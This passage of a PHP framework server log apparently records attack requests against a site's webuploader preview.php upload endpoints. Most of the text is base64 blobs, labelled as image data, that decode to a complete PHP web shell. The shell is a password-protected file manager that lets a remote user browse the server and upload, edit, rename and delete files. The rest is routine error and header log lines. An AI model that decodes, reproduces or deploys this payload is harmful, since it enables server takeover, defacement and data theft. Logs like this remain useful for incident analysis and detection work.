WNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:27:50+08:00 ] 119.42.146.234 POST 51tianwei.com/includes/webuploader/0.1.5/server/preview.php [运行时间:0.002552s] [吞吐率:391.84req/s] [内存消耗:180.68kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'includes', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiA' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:27:52+08:00 ] 119.42.146.234 POST 51tianwei.com/Theme/assets/webuploader/0.1.5/server/preview.php [运行时间:0.002659s] [吞吐率:376.10req/s] [内存消耗:196.73kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Theme', 2 => 'assets', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 